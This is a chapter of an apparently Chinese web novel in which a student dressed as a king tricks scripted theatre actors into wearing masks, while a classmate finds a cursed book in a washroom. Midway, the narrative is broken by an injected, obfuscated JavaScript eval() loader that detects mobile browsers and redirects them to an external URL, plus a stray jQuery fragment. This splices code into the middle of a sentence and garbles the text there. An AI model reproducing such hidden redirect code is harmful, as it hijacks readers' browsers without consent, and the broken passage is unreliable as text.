16. 荒诞幕剧(16)

作品:《邪神同志服务人民

    挡箭牌先生顶着尴尬给路过的侍者演员发面具,不幸的是,没一个人理他。


    在互动环节之外,这群演员向来视观众为无物。


    可以理解,这是剧院演出的基本要求。


    “啊这,我们搬过来也没用。”有人失望的抱怨。


    挡箭牌先生也有点泄气,他本以为时缄推荐他们把多余的面具搬到欢宴大厅,是因为在这里分发面具最方便。


    为了体现舞会的盛大,每到舞会剧情,所有演员都会集中到欢宴大厅。除了灰姑娘王子后妈继姐这些本就在剧情里有所表现的演员,龙套们也会换装前来。


    比如刚才拒绝挡箭牌先生的那名侍者,就是在酒馆中给他们递酒的伙计。


    可现实却是,挡箭牌先生接过了伙计递来的酒杯,侍者无视了他送去的面具。


    放弃吗?收起助人情节,任由异变发展?


    挡箭牌先生不想这样。


    可他也不知道自己接下来能做什么,难不成用暴力迫使演员顺从?怕不是演员身体里的怪物直接暴起,最后被暴力的是他自己。


    或许,只能期待那个醉鬼了。


    那个醉鬼说他有妙计。


    挡箭牌先生的目光四下逡巡,找寻他期盼的身影。


    他听到几声钢琴的重低音,大厅尽头的高台上灯光大亮,一个低矮的人影如同瞬间移动般出现在麦克风前。


    那是一个矮个子男人。


    男人敲敲麦克风,用一种调皮而夸张的语调开口。


    “欢迎光临,国王的子民们。欢迎大家来到这场为你们而举办的欢宴,我是今晚的司仪,宫廷小丑、啊——”


    尖锐的电流刺啦声响彻大厅,宫廷小丑猝不及防被人一屁股挤到旁边,手中的麦克风落地,滚到来人脚边。


    来人施施然将麦克风捡起,掸了掸灰尘。


    正是时缄。


    挡箭牌先生顿时激动起来,即将喊出声,就见时缄理了理身上的国王戏服,把麦克风送到嘴边,朗声道:


    “奉天承运,皇帝诏曰:所有王公贵族,平民侍从,即刻起戴上面具,未经允许,不得擅自摘下。钦此!”


    挡箭牌先生:……啊?


    大哥,这就是你所谓的妙计?你在搞屁啊!


    弹幕笑成一片。


    “救命笑死我了,学弟你剧本拿错了,你是国王,不是传旨太监。”


    “谢主隆恩!”


    “啊啊啊啊啊啊好可爱!宝宝,你是一个小太监。”


    “嗯?前面的你……”


    “好新颖的耍酒疯方式。”


    也有人在正经讨论。


    “他在扮演国王,但他下令有用吗?别人只会觉得他是个傻逼吧。”


    “我猜没用,灰姑娘都说了,演员必须根据剧本行动,最多只能小幅度自控。”


    “我想看新人压错宝,真受不了他那副得意洋洋的嘴脸。”


    “同想看,真受不了我女朋友说他比我帅。”


    “前面的,爆照看看实力,新人学弟可是灵动漂亮得像个精灵。”


    “你们从哪儿读出得意洋洋,我怎么看都是睡眼惺忪嘛!”


    时缄站在高台上等待,时不时揉揉眼睛,一副等困了的样子。


    短暂的懵逼过后,挡箭牌先生反应过来,对着装面具的箱子做了个请的手势。配合时缄的圣旨,挡箭牌先生至少也该是个掌事太监。


    但在场的演员全都一动不动,既没有继续原先的表演,也没有对这道圣旨做出反应,仿佛处理器正在运算刚才接收到的信息,尚未得出结果。


    时缄只好等待。


    他一点也不急,他知道这群演员会听话的。


    上台时他故意撞到宫廷小丑,通过碰瓷时缄知道,这把稳了。


    宫廷小丑在看清楚他的装扮时,有一个明显的瑟缩动作。


    那是面对上位者的态度。


    宫廷小丑把他认成了国王,并且做出了剧本上没有的反应。


    灰姑娘说演员只能根据剧本行动,但是她有说是什么剧本吗?


    没有!


    那就别怪时缄祭出他自己的剧本。


    许久过后,演员们终于行动起来。


    他们齐齐向时缄鞠躬行礼,然后走向大厅中央的箱子,一个接一个从中取出面具戴上。


    校内直播看不到时缄的心理活动,屏幕上划过一道道惊讶且不解的弹幕。


    “嘿,还真成了,他怎么想到这招的?”


    “不过就是运气好。”


    “怎么了,运气也是实力的一部分。况且,一次两次成功能说运气好,每次都化险为夷,就不仅仅是运气了,是人家聪明!有能力!”


    “不是运气,目前所知最基本的规则是,表演过程中演员们只能根据剧情行动。可是如果合理更改剧情会怎样呢?你们仔细想想。”


    “嗯……我想想……时缄扮演的是国王的角色,按照剧情逻辑,所有演员都是国王的臣民,必须遵从国王的命令。这里就出现了分歧,要么演员们只会呆板的循着原有剧情演出,无视他的命令,要么演员们根据现有剧情,对他的命令做出反应。现在结果已经出来了,演员选择了后一种。”


    “所以说其实灰姑娘给出的信息不正确,他们的行动受限于剧本,只是因为没有一个外力介入,来破坏既定的剧情。”


    “是的,演员们每个人都是一台托马斯玩具小火车,在剧本安排好的轨道上运行,如果不去打扰,它们可以永远这样运行下去。而时缄是个手贱的小孩,把轨道弄乱了,于是玩具火车开始连环相撞。”


    “说白了就是这里有一个逻辑bug。”


    “也不能叫bug吧,你没想到是你的思维被已有线索困住了,时缄能跳出现有逻辑,开辟一条新路。”


    “草,还能这样破局!本来的出口被锁上了,那就在墙上重新开一道门。”


    “大师我悟了。”


    ————————


    欢宴大厅里没有观众,时缄看着演员脸上一张张的白色鬼脸,乐呵呵的大手一挥,“所有人,赏酒!”


    一时间王宫的侍者们忙前忙后,从后厨取来酒水,一杯杯派送给在场的演员们,包括侍者自己。


    时缄站在高台上,高举酒杯,仿佛他是这个国家真正的君王,“舞会开始,干杯!”


    “干杯!”


    一呼百应。


    时缄满意的笑了,又轻声不知道对谁说:“干杯。”


    然后一饮而尽。


    虽然杯中装的只是白水,但时缄早就迷糊了,松懈下来后,他逐渐找不到身体的平衡,摇摇晃晃的后退,一屁股坐在王座上。


    尽管没有观众,但舞会仍热热闹闹的进行着,无人在意他。


    高阶尽头,王座之上,漂亮的男生蜷起身体,沉沉睡去。


    仿佛一场童话中的安眠。


    …………


    大门外的人群里,围观了全过程的秦书药若有所思。


    她的怀中抱着一本黑色封面金色花纹的厚重书籍。


    《黄衣之王》。


    秦书药在一个非常意外的地方,以一种非常离奇的方式得到了《黄衣之王


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639282|156342||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    》。


    当时她蹲正在一楼男士洗手间的马桶盖上,看着这本书从隔间门下的缝隙里塞了进来。


    秦书药:……???


    第二轮演出开始,秦书药逃出老板办公室后,从5楼飞流直下奔至1楼,她那时候脑子里一片空白,身体自发的想要离老板办公室远点。


    1楼后台是上一轮她没有去过的空间。


    接下来的一切顺理成章,她探索每一个房间,在女士洗手间发现了被木条封死的隔间。


    这些木条有些眼熟,秦书药在老板办公室的角落里见过同款。


    看着这些木条,秦书药越想越无语,她得到的所有线索都指向老板,老板背后有大秘密,但是她回答探索题时,系统却告诉她老板和灰姑娘的死无关。


    秦书药叹一口气,现下她没有其他依凭,只能继续沿着老板这条线查下去,也不知道究竟会查出什么东西来。


    先看看隔间里藏着什么吧。


    说做就做,秦书药搬来椅子,从隔间门与屋顶的空隙里翻了进去。这道空隙很小,得亏秦书药是个细长条的瘦子。


    脏污的地面,落灰的便器,除此之外隔间里什么也没有。


    爬门时秦书药注意到一点,这里和隔壁的男士洗手间相通。


    男女洗手间靠在一起,中间用一座不到顶的墙壁隔开。一些老旧建筑为了保证洗手间通风透气,会采用这种设计。


    秦书药居高临下,可以看到男士洗手间的隔间也被死死封住。


    本着爬都爬了的朴素原则,秦书药检查完女士洗手间的几个隔间后,又爬去了隔壁。


    她刚翻落到马桶盖上,就听到凌乱而飘忽的脚步声逼近。秦书药蹲在马桶盖上不敢动,听着门外窸窸窣窣不知什么动静。


    好不容易等到门外的动静消停了,秦书药长抒一口气,一低头,便与一本书不期而遇。


    秦书药:……啊?


    凌乱而飘忽的脚步声渐行渐远,秦书药捡起地上的黑色书籍。


    指尖触碰到封面的刹那,头顶光幕亮起。


    【触发附加题:被诅咒的戏剧】


    秦书药先是微愣,接着略感惊喜,仔细想想又有些后怕。


    给她送书的是谁?怎么知道她在这里?


    故意送一本会触发附加题的书来,那么送书的人应该也是这场考试的考生。


    那人把考题分享出来有什么目的?为什么不敢露面?


    自己在明,那人在暗,虽然分享题目这个举动看起来很友善,但依旧不能对那人掉以轻心。


    秦书药蹲在马桶盖上想了很多,等她想清楚站起来,她的腿已经蹲麻了。


    身残志坚的秦书药坚持查完了每一个隔间,真的发现了问题。


    男士洗手间最里面一个隔间,四壁全是飞溅的黑色污渍。


    那是已经干涸的血。


    仿佛曾经有人在这个隔间中自爆,留下四散的死亡印记。


    这座剧院里到底发生过什么?为什么老板要用木条把隔间全部封上?莫非他身上还背负着人命?


    好几种惊悚画面在秦书药的脑海中流转,秦书药一挥手将它们全部拍散。


    她真是受够了,空有一堆线索却都和考题无关,她觉得自己像在玩一个设计不合理的游戏,被一大堆支线任务指使得团团转,怎么都回不到主线上去。


    现在,考试已经进行许久,她已经答错了一道题,没有时间再浪费了。


    正好有一个办法,不仅能顺利回归主线,还能获取之前错过的信息。


    找到那个送书之人。